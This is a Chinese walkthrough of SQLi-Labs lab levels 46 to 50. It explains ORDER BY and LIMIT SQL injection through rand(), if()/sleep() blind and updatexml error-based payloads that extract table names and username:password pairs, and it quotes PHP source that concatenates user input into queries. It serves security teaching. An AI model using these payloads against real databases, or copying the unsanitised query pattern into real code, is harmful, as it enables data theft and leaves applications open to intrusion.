SQL-Labs靶场“46-50”关通关教程

君衍.

点击跳转:
SQL-Labs靶场"1-5"关通关教程
SQL-Labs靶场"6-10"关通关教程
SQL-Labs靶场"11-15"关通关教程
SQL-Labs靶场"15-20"关通关教程
SQL-Labs靶场"21-25"关通关教程

一、四十六关 ORDER BY数字型注入

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 ORDER BY $id

我们直接可以从界面中得知传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:

bash 复制代码
?sort=1

我们可以看到是一个排序表格,同时我们继续尝试将sort参数变为2继续尝试:

可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式。

我们这里继续尝试,将参数变为1',我们可以看到它进行了报错:

可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。

同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。


所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,这里我们需要使用rand函数,下面我们会谈到。

1、源码分析

php 复制代码
<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];	
if(isset($id))
	{
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'SORT:'.$id."\n");
	fclose($fp);

	$sql = "SELECT * FROM users ORDER BY $id";
	$result = mysqli_query($con1, $sql);
	if ($result)
		{
		?>
		···
		<?php
		while ($row = mysqli_fetch_assoc($result))
			{
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			}	
		echo "</table>";
		}
		else
		{
		print_r(mysqli_error($con1));
		}
	}	
	else
	{
		echo "Please input parameter as SORT with numeric value<br><br><br><br>";
		echo '<img src="../images/Less-46.jpg" /><br>';
		echo "Lesson Concept and code Idea by <b>D4rk</b>";
	}
?>

首先进行解读代码,这里我只解读大致部分,首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,也是我们的一个注入点。


2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。

当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

bash 复制代码
?sort=rand(true)
?sort=rand(false)


可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>96)

我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)


这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:

我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。

所以这里我们需要在知道列名的情况下进行使用:

bash 复制代码
?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:

这里我们主要利用id:

这里我们使用payload为:

bash 复制代码
?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

5、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

bash 复制代码
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

2、爆出数据库中的所有表

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

3、爆出数据库users表中的所有列

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

4、爆出数据

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

这里也不赘述了,改变limit值即可完成数据的查询。

6、Limit注入

首先需要强调该limit注入只适用于<=MySQL5.5版本中,首先介绍limit使用在mysql中,一般使用limit m,n其中m指的是以m为头开始记录,n即为从m+1开始,取n条数据。

sql 复制代码
select * from users limit 0,1;
select * from users limit 2,4;

这里我们必须掌握清楚最基础的使用方式。
下面便是limit注入即为注入点在limit后面。
procedure analyse()报错注入
此方法适用于<=MySQL 5.5中,在limit语句后面的注入

在mysql语法中limit后面只能跟PROCEDURE、INTO OUTFILE、FOR UPDATE | LOCK IN SHARE MODE三个函数。

现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()函数来实现错误注入,这个函数下有ANALYSE支持两个参数。
报错注入方式:

sql 复制代码
select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));

时间盲注方式:

sql 复制代码
select * from users order by id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

二、四十七关 ORDER BY单引号报错注入

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 ORDER BY '$id'

本关其实和46关利用方式一样的,只是闭合方式改变了,注入时需要正常闭合:


这里我们加上单引号完成闭合,然后注释掉后面的语句完成逃逸即可。所以本关注入点判断其实和46关是一样的,唯独不能使用if语句来进行盲注,上面46关我们也说了原因同时尝试过。

1、源码分析

php 复制代码
# 与46关相比就该SQL语句不相同即为闭合方式不同,采用了单引号闭合
$sql = "SELECT * FROM users ORDER BY '$id'";
···

所以本关源码没有什么好说的,原理和46关源码分析是相同的,就闭合方式进行了改变导致我们无法使用if语句注入,所以我们更改注入方案即可。

2、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

2、爆出数据库中的所有表

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

3、爆出数据库users表中的所有列

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

4、爆出数据

bash 复制代码
?sort=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

这里也不赘述了,改变limit值即可完成数据的查询。

3、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

三、四十八关 ODRER BY数字型盲注

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 ORDER BY $id

本关依旧同46关利用方式一样,只是没有报错回显:

所以本关实则就是无法使用报错注入,剩下的都可以使用,因为并没有什么闭合方式:

1、源码分析

这里源码实则就是把46关显示报错信息的代码省略掉了,原理依旧同46关相同:

上图为46关代码,下面展示48关代码:

所以这里即是将报错注入不让使用了,下面我们更改注入方案:

2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。

当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

bash 复制代码
?sort=rand(true)
?sort=rand(false)


可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>96)

我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

bash 复制代码
?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)


这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:

我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。

所以这里我们需要在知道列名的情况下进行使用:

bash 复制代码
?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:

这里我们主要利用id:

这里我们使用payload为:

bash 复制代码
?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

四、四十九关 ORDER BY单引号盲注

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 ORDER BY '$id'

四十九关即和47关类似,只是将报错回显省略掉了,同时增加了闭合。


1、源码分析

本关源码和47关大差不差,就是将47关报错回显省略掉了:

上图为49关代码,下图为47关代码:

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

五、五十关 ORDER BY数字型堆叠注入

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注、堆叠注入 ORDER BY $id

本关依旧同46关注入点判断类似:

打开界面显示如上图,首先我们令sort参数为1查看回显:

然后我们在后面加上单引号,观察是否报错:

我们可以看到这里进行了报错,所以本关我们可以尝试使用报错注入。

1、源码分析

php 复制代码
···# 与46关相同
if (mysqli_multi_query($con1, $sql))
···# 与46关相同

和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入。当然我们也可以使用报错注入。


(堆叠注入我们之后会详细讨论到)

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

bash 复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:

这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。

之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

bash 复制代码
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)


所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

3、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

bash 复制代码
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

2、爆出数据库中的所有表

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

3、爆出数据库users表中的所有列

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

4、爆出数据

bash 复制代码
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

这里也不赘述了,改变limit值即可完成数据的查询。

相关推荐
小猿姐18 分钟前
KubeBlocks for Milvus 揭秘
数据库·云原生
码出未来85720 分钟前
浅谈DDL、DSL、DCL、DML、DQL
sql
AI 嗯啦24 分钟前
SQL详细语法教程(四)约束和多表查询
数据库·人工智能·sql
阿里云大数据AI技术26 分钟前
【跨国数仓迁移最佳实践6】MaxCompute SQL语法及函数功能增强,10万条SQL转写顺利迁移
python·sql
杜子不疼.44 分钟前
《Python学习之文件操作:从入门到精通》
数据库·python·学习
杭州泽沃电子科技有限公司1 小时前
告别翻山越岭!智能监拍远程守护输电线路安全
运维·人工智能·科技·安全
TDengine (老段)1 小时前
TDengine IDMP 高级功能(4. 元素引用)
大数据·数据库·人工智能·物联网·数据分析·时序数据库·tdengine
DashVector2 小时前
如何通过Java SDK分组检索Doc
java·数据库·面试
小韩博2 小时前
metasploit 框架安装更新遇到无法下载问题如何解决
linux·网络安全·公钥·下载失败
Olrookie2 小时前
XXL-JOB GLUE模式动态数据源实践:Spring AOP + MyBatis 解耦多库查询
java·数据库·spring boot